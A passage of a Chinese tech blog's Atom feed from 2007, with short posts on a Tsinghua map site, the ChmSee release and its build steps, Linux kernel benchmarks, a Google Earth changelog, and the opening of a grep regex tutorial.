href='http://zouyong.blogspot.com/2007/02/blog-post.html' title='暴风郑重承诺：软件不好用，赔你人民币'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-2915846633576702138</id><published>2007-02-03T00:46:00.001+08:00</published><updated>2007-02-03T02:39:16.103+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Software'/><title type='text'>用google maps api做的清华大学地图网站</title><content type='html'>用google maps api做的清华大学地图网站，水木上看到了：&lt;br /&gt;&lt;br /&gt;&lt;a href="http://thumap.27net.net/"&gt;http://thumap.27net.net&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;试了一下，提示说Firefox下可能有问题，需要用ie，不过可以用firefox的ietab。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-2915846633576702138?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/2915846633576702138/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=2915846633576702138' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/2915846633576702138'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/2915846633576702138'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2007/02/google-maps-api.html' title='用google maps api做的清华大学地图网站'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-8311304173856892881</id><published>2007-02-02T10:36:00.000+08:00</published><updated>2007-02-02T10:41:56.089+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>ChmSee 1.0.0 beta发布了~~~</title><content type='html'>&lt;h3&gt;linux下看chm帮助文件的好东西，基于Gtk+，昨天发布了1.0.0 beta版。&lt;/h3&gt;&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;更新&lt;/h3&gt; &lt;ul&gt;&lt;li&gt;2007 年 2 月 1 日：1.0.0-beta (开发代号：夏至)&lt;/li&gt;&lt;li&gt;2006 年 9 月 20 日：1.0.0-alpha (开发代号：夏至)&lt;/li&gt;&lt;li&gt;2006 年 6 月 12 日：0.9.6 (开发代号：惊蛰)&lt;/li&gt;&lt;/ul&gt; &lt;h3&gt;需要的软件包&lt;/h3&gt; &lt;ul&gt;&lt;li&gt;Gtk+-2.8&lt;/li&gt;&lt;li&gt;libglade-2.4&lt;/li&gt;&lt;li&gt;gecko(ChmSee 1.0.0)&lt;/li&gt;&lt;li&gt;gtkhtml-3.8(ChmSee 0.9.6)&lt;/li&gt;&lt;li&gt;chmlib&lt;/li&gt;&lt;li&gt;openssl(GNU/Linux)&lt;/li&gt;&lt;/ul&gt; &lt;h3&gt;下载&lt;/h3&gt; &lt;p&gt;1.0.0-beta：&lt;a href="http://chmsee.gro.clinux.org/chmsee-1.0.0-beta.tar.gz"&gt;http://chmsee.gro.clinux.org/chmsee-1.0.0-beta.tar.gz&lt;/a&gt;&lt;/p&gt; &lt;p&gt;0.9.6：&lt;a href="http://chmsee.gro.clinux.org/chmsee-0.9.6.tar.bz2"&gt;http://chmsee.gro.clinux.org/chmsee-0.9.6.tar.bz2&lt;/a&gt;&lt;/p&gt; &lt;p&gt;Debian package(多谢 Li DaoBing 打包):  &lt;a href="http://pkg-newedit.googlecode.com/svn/debian/"&gt;http://pkg-newedit.googlecode.com/svn/debian/&lt;/a&gt; &lt;/p&gt;&lt;pre&gt;    apt: deb http://pkg-newedit.googlecode.com/svn/debian/ ./&lt;br /&gt;&lt;/pre&gt; &lt;h3&gt;编译安装&lt;/h3&gt; &lt;pre&gt;$ tar xzf chmsee-1.0.0-beta.tar.gz&lt;br /&gt;$ cd chmsee-1.0.0-beta&lt;br /&gt;$ ./configure&lt;br /&gt;$ make&lt;br /&gt;# make install&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;如果执行 configure 时没有找到 chmlib 库，请用 --with-chmlib=/path/to/chmlib 指定。&lt;/p&gt;&lt;h3&gt;使用提示&lt;/h3&gt; &lt;ul&gt;&lt;li&gt;与有些 chm 阅读工具不同，ChmSee 采用的是先将 chm 文件解压，再读取 html 文件的方式。解压后的文件保存在 $HOME/.chmsee/bookshelf 目录下面。如果您想清空这些解压后的文件，可以按下“设置”按钮，在打开的对话框里面使用“清除”功能。&lt;/li&gt;&lt;li&gt;ChmSee 的书签功能与各个 chm 文件挂钩，打开一个 chm 文件后，只会显示当前文件的书签。&lt;/li&gt;&lt;li&gt;试用新版本时，如果程序无法运行或在打开文件时退出，请先清空一下 ~/.chmsee 目录。&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-8311304173856892881?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/8311304173856892881/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=8311304173856892881' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/8311304173856892881'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/8311304173856892881'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2007/02/chmsee-100-beta.html' title='ChmSee 1.0.0 beta发布了~~~'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-3028409774550475427</id><published>2007-02-01T13:05:00.000+08:00</published><updated>2007-02-01T13:07:33.947+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Good news:  Linux 2.6.20-rc6 Kernel Performance</title><content type='html'>discuss link:&lt;br /&gt;&lt;a href="http://linux.slashdot.org/article.pl?sid=07/01/31/154224"&gt;http://linux.slashdot.org/article.pl?sid=07/01/31/154224&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="intro"&gt;    &lt;a href="http://www.phoronix.com/" rel="nofollow"&gt;Michael&lt;/a&gt; writes &lt;i&gt;"The Linux 2.6.20 kernel will feature &lt;a href="http://kvm.qumranet.com/"&gt;KVM support&lt;/a&gt;, Playstation 3 support, and a variety of other improvements. With the Linux 2.6.20-rc6 kernel out the door, &lt;a href="http://www.phoronix.com/"&gt;Phoronix&lt;/a&gt; has written a &lt;a href="http://www.phoronix.com/vr.php?view=8577"&gt;performance comparison&lt;/a&gt; of the Linux 2.6.20-rc6 kernel against the 2.6.19 and 2.6.19.2 kernels in a variety of benchmarks."&lt;/i&gt;   &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-3028409774550475427?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/3028409774550475427/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=3028409774550475427' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/3028409774550475427'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/3028409774550475427'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2007/02/good-news-linux-2620-rc6-kernel.html' title='Good news:  Linux 2.6.20-rc6 Kernel Performance'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-9161670604415953157</id><published>2007-01-31T22:11:00.001+08:00</published><updated>2007-01-31T22:59:04.877+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Software'/><title type='text'>New Google Earth 4.0.2723.0</title><content type='html'>Changelog:&lt;br /&gt;New features:&lt;br /&gt;-Drawing Tools: The path and polygon drawing tools are now available in the free product.&lt;br /&gt;-free Premium modules&lt;br /&gt;--Premium Printing Module&lt;br /&gt;--GIS Data Importing Module&lt;br /&gt;--Movie Making Module&lt;br /&gt;-Faster performance for 3D models&lt;br /&gt;--Improved caching of models&lt;br /&gt;--Support for compressed textures&lt;br /&gt;-New icons and icon management for easier navigation&lt;br /&gt;--New icons for pushpins and user palette&lt;br /&gt;--Coincident placemarks/icons now expand into a 'star-formation' for disambiguation when you click on them.&lt;br /&gt;-Improved Printing: Now you can also print search results, and folders of placemarks, in addition to driving directions and the 3D view.&lt;br /&gt;-MSI Installer: For easier installation and maintenance of Google Earth over networks, we now have an MSI installer available for the client.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-9161670604415953157?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/9161670604415953157/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=9161670604415953157' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/9161670604415953157'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/9161670604415953157'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2007/01/new-google-earth-4027230.html' title='New Google Earth 4.0.2723.0'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-5324624019551659044</id><published>2007-01-31T21:20:00.000+08:00</published><updated>2007-01-31T22:57:02.544+08:00</updated><title type='text'>添加了一个Google Adsense</title><content type='html'>hoho~~~&lt;br /&gt;不知道能否有用呢~&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-5324624019551659044?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/5324624019551659044/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=5324624019551659044' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/5324624019551659044'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/5324624019551659044'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2007/01/google-adsense.html' title='添加了一个Google Adsense'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-113075887696048376</id><published>2005-10-31T19:41:00.000+08:00</published><updated>2007-01-31T23:02:03.278+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Grep学习笔记</title><content type='html'>&lt;div class="Section1" style=""&gt;  &lt;h1&gt;&lt;a name="id2875166"&gt;&lt;/a&gt;&lt;b&gt;&lt;span style="font-family:宋体;font-size:6;color:black;"&gt;&lt;span lang="EN"  style="font-size:24;"&gt;Grep&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;学习笔记&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h1&gt;  &lt;h3&gt;&lt;span class="firstname"&gt;&lt;b&gt;&lt;span style="font-family:宋体;font-size:130%;color:black;"&gt;&lt;span style="font-size:13;"&gt;整理：&lt;span lang="EN"&gt;Jims of &lt;a href="http://www.ringkee.com/" target="_top"&gt;&lt;span lang="EN-US"&gt;&lt;span lang="EN-US"&gt;肥肥世家&lt;/span&gt;&lt;/span&gt;&lt;/a&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h3&gt;  &lt;p&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span lang="EN"  style="font-size:12;"&gt;&lt;br /&gt;&lt;tt&gt;&lt;span style="font-family:宋体;"&gt;&amp;lt;&lt;a href="mailto:yjnet@21cn.com"&gt;yjnet@21cn.com&lt;/a&gt;&amp;gt;&lt;/span&gt;&lt;/tt&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="copyright"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span lang="EN"  style="font-size:12;"&gt;Copyright © 2004 &lt;/span&gt;&lt;/span&gt;本文遵从&lt;span lang="EN"&gt;GPL&lt;/span&gt;协议，欢迎转载、修改、散布。&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="pubdate"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;发布时间：&lt;st1:chsdate isrocdate="False" islunardate="False" day="16" month="7" year="2004" st="on"&gt;&lt;span lang="EN"&gt;2004&lt;/span&gt;年&lt;span lang="EN"&gt;7&lt;/span&gt;月&lt;span lang="EN"&gt;16&lt;/span&gt;日&lt;/st1:chsdate&gt;&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="pubdate"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;更新时间：&lt;st1:chsdate isrocdate="False" islunardate="False" day="24" month="8" year="2005" st="on"&gt;&lt;span lang="EN"&gt;2005&lt;/span&gt;年&lt;span lang="EN"&gt;8&lt;/span&gt;月&lt;span lang="EN"&gt;24&lt;/span&gt;日&lt;/st1:chsdate&gt;&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;div class="MsoNormal" style="text-align: center;" align="center"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;  &lt;hr align="center" size="2" width="100%"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;  &lt;p&gt;&lt;b&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-weight: bold;font-size:12;" lang="EN" &gt;Table of Contents&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="sect1"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;&lt;a href="http://www.ringkee.com/jims/technic_folder/linux/open?page=grep.htm#id2811696#id2811696"&gt;1. grep&lt;span style="font-family:宋体;"&gt;&lt;span  lang="EN-US" style="font-family:宋体;"&gt;&lt;span lang="EN-US"&gt;简介&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="sect1"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;&lt;a href="http://www.ringkee.com/jims/technic_folder/linux/open?page=grep.htm#id2875155#id2875155"&gt;2. grep&lt;span style="font-family:宋体;"&gt;&lt;span  lang="EN-US" style="font-family:宋体;"&gt;&lt;span lang="EN-US"&gt;正则表达式元字符集（基本集）&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="sect1"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;&lt;a href="http://www.ringkee.com/jims/technic_folder/linux/open?page=grep.htm#id2810118#id2810118"&gt;3. &lt;span style="font-family:宋体;"&gt;&lt;span  lang="EN-US" style="font-family:宋体;"&gt;&lt;span lang="EN-US"&gt;用于&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;egrep&lt;span style="font-family:宋体;"&gt;&lt;span  lang="EN-US" style="font-family:宋体;"&gt;&lt;span lang="EN-US"&gt;和&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; grep -E&lt;span style="font-family:宋体;"&gt;&lt;span  lang="EN-US" style="font-family:宋体;"&gt;&lt;span lang="EN-US"&gt;的元字符扩展集&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="sect1"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;&lt;a href="http://www.ringkee.com/jims/technic_folder/linux/open?page=grep.htm#id2810221#id2810221"&gt;4. POSIX&lt;span style="font-family:宋体;"&gt;&lt;span  lang="EN-US" style="font-family:宋体;"&gt;&lt;span lang="EN-US"&gt;字符类&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="sect1"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;&lt;a href="http://www.ringkee.com/jims/technic_folder/linux/open?page=grep.htm#id2810436#id2810436"&gt;5. Grep&lt;span style="font-family:宋体;"&gt;&lt;span  lang="EN-US" style="font-family:宋体;"&gt;&lt;span lang="EN-US"&gt;命令选项&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="sect1"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;&lt;a href="http://www.ringkee.com/jims/technic_folder/linux/open?page=grep.htm#id2861493#id2861493"&gt;6. &lt;span style="font-family:宋体;"&gt;&lt;span  lang="EN-US" style="font-family:宋体;"&gt;&lt;span lang="EN-US"&gt;实例&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="sect1"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;&lt;a href="http://www.ringkee.com/jims/technic_folder/linux/open?page=grep.htm#id2861608#id2861608"&gt;7. &lt;span style="font-family:宋体;"&gt;&lt;span  lang="EN-US" style="font-family:宋体;"&gt;&lt;span lang="EN-US"&gt;技巧&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;h2&gt;&lt;a name="id2811696"&gt;&lt;/a&gt;&lt;b&gt;&lt;span style="font-family:宋体;font-size:180%;color:black;"&gt;&lt;span lang="EN"  style="font-size:18;"&gt;1. grep&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;简介&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h2&gt;  &lt;p&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span lang="EN"  style="font-size:12;"&gt;grep&lt;/span&gt;&lt;/span&gt;（&lt;span lang="EN"&gt;global search regular expression(RE) and print out the line,&lt;/span&gt;全面搜索正则表达式并把行打印出来）是一种强大的文本搜索工具，它能使用正则表达式搜索文本，并把匹配的行打印出来。&lt;span lang="EN"&gt;Unix&lt;/span&gt;的&lt;span lang="EN"&gt;grep&lt;/span&gt;家族包括&lt;span lang="EN"&gt;grep&lt;/span&gt;、&lt;span lang="EN"&gt;egrep&lt;/span&gt;和&lt;span lang="EN"&gt;fgrep&lt;/span&gt;。&lt;span lang="EN"&gt;egrep&lt;/span&gt;和&lt;span lang="EN"&gt;fgrep&lt;/span&gt;的命令只跟&lt;span lang="EN"&gt;grep&lt;/span&gt;有很小不同。&lt;span lang="EN"&gt;egrep&lt;/span&gt;是&lt;span lang="EN"&gt;grep&lt;/span&gt;的扩展，支持更多的&lt;span lang="EN"&gt;re&lt;/span&gt;元字符，&lt;span lang="EN"&gt;fgrep&lt;/span&gt;就是&lt;span lang="EN"&gt;fixed grep&lt;/span&gt;或&lt;span lang="EN"&gt;fast grep&lt;/span&gt;，它们把所有的字母都看作单词，也就是说，正则表达式中的元字符表示回其自身的字面意义，不再特殊。&lt;span lang="EN"&gt;linux&lt;/span&gt;使用&lt;span lang="EN"&gt;GNU&lt;/span&gt;版本的&lt;span lang="EN"&gt;grep&lt;/span&gt;。它功能更强，可以通过&lt;span lang="EN"&gt;-G&lt;/span&gt;、&lt;span lang="EN"&gt;-E&lt;/span&gt;、&lt;span lang="EN"&gt;-F&lt;/span&gt;命令行选项来使用&lt;span lang="EN"&gt;egrep&lt;/span&gt;和&lt;span lang="EN"&gt;fgrep&lt;/span&gt;的功能。&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span lang="EN"  style="font-size:12;"&gt;grep&lt;/span&gt;&lt;/span&gt;的工作方式是这样的，它在一个或多个文件中搜索字符串模板。如果模板包括空格，则必须被引用，模板后的所有字符串被看作文件名。搜索的结果被送到屏幕，不影响原文件内容。&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span lang="EN"  style="font-size:12;"&gt;grep&lt;/span&gt;&lt;/span&gt;可用于&lt;span lang="EN"&gt;shell&lt;/span&gt;脚本，因为&lt;span lang="EN"&gt;grep&lt;/span&gt;通过返回一个状态值来说明搜索的状态，如果模板搜索成功，则返回&lt;span lang="EN"&gt;0&lt;/span&gt;，如果搜索不成功，则返回&lt;span lang="EN"&gt;1&lt;/span&gt;，如果搜索的文件不存在，则返回&lt;span lang="EN"&gt;2&lt;/span&gt;。我们利用这些返回值就可进行一些自动化的文本处理工作。&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;h2&gt;&lt;a name="id2875155"&gt;&lt;/a&gt;&lt;b&gt;&lt;span style="font-family:宋体;font-size:180%;color:black;"&gt;&lt;span lang="EN"  style="font-size:18;"&gt;2. grep&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;正则表达式元字符集（基本集）&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h2&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;^&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;锚定行的开始 如：&lt;span lang="EN"&gt;'^grep'&lt;/span&gt;匹配所有以&lt;span lang="EN"&gt;grep&lt;/span&gt;开头的行。 &lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;$&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;锚定行的结束 如：&lt;span lang="EN"&gt;'grep$'&lt;/span&gt;匹配所有以&lt;span lang="EN"&gt;grep&lt;/span&gt;结尾的行。 &lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;匹配一个非换行符的字符 如：&lt;span lang="EN"&gt;'gr.p'&lt;/span&gt;匹配&lt;span lang="EN"&gt;gr&lt;/span&gt;后接一个任意字符，然后是&lt;span lang="EN"&gt;p&lt;/span&gt;。 &lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;*&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;匹配零个或多个先前字符 如：&lt;span lang="EN"&gt;'*grep'&lt;/span&gt;匹配所有一个或多个空格后紧跟&lt;span lang="EN"&gt;grep&lt;/span&gt;的行。&lt;span lang="EN"&gt; .*&lt;/span&gt;一起用代表任意字符。&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;[]&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;匹配一个指定范围内的字符，如&lt;span lang="EN"&gt;'[Gg]rep'&lt;/span&gt;匹配&lt;span lang="EN"&gt;Grep&lt;/span&gt;和&lt;span lang="EN"&gt;grep&lt;/span&gt;。 &lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;[^]&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;匹配一个不在指定范围内的字符，如：&lt;span lang="EN"&gt;'[^A-FH-Z]rep'&lt;/span&gt;匹配不包含&lt;span lang="EN"&gt;A-R&lt;/span&gt;和&lt;span lang="EN"&gt;T-Z&lt;/span&gt;的一个字母开头，紧跟&lt;span 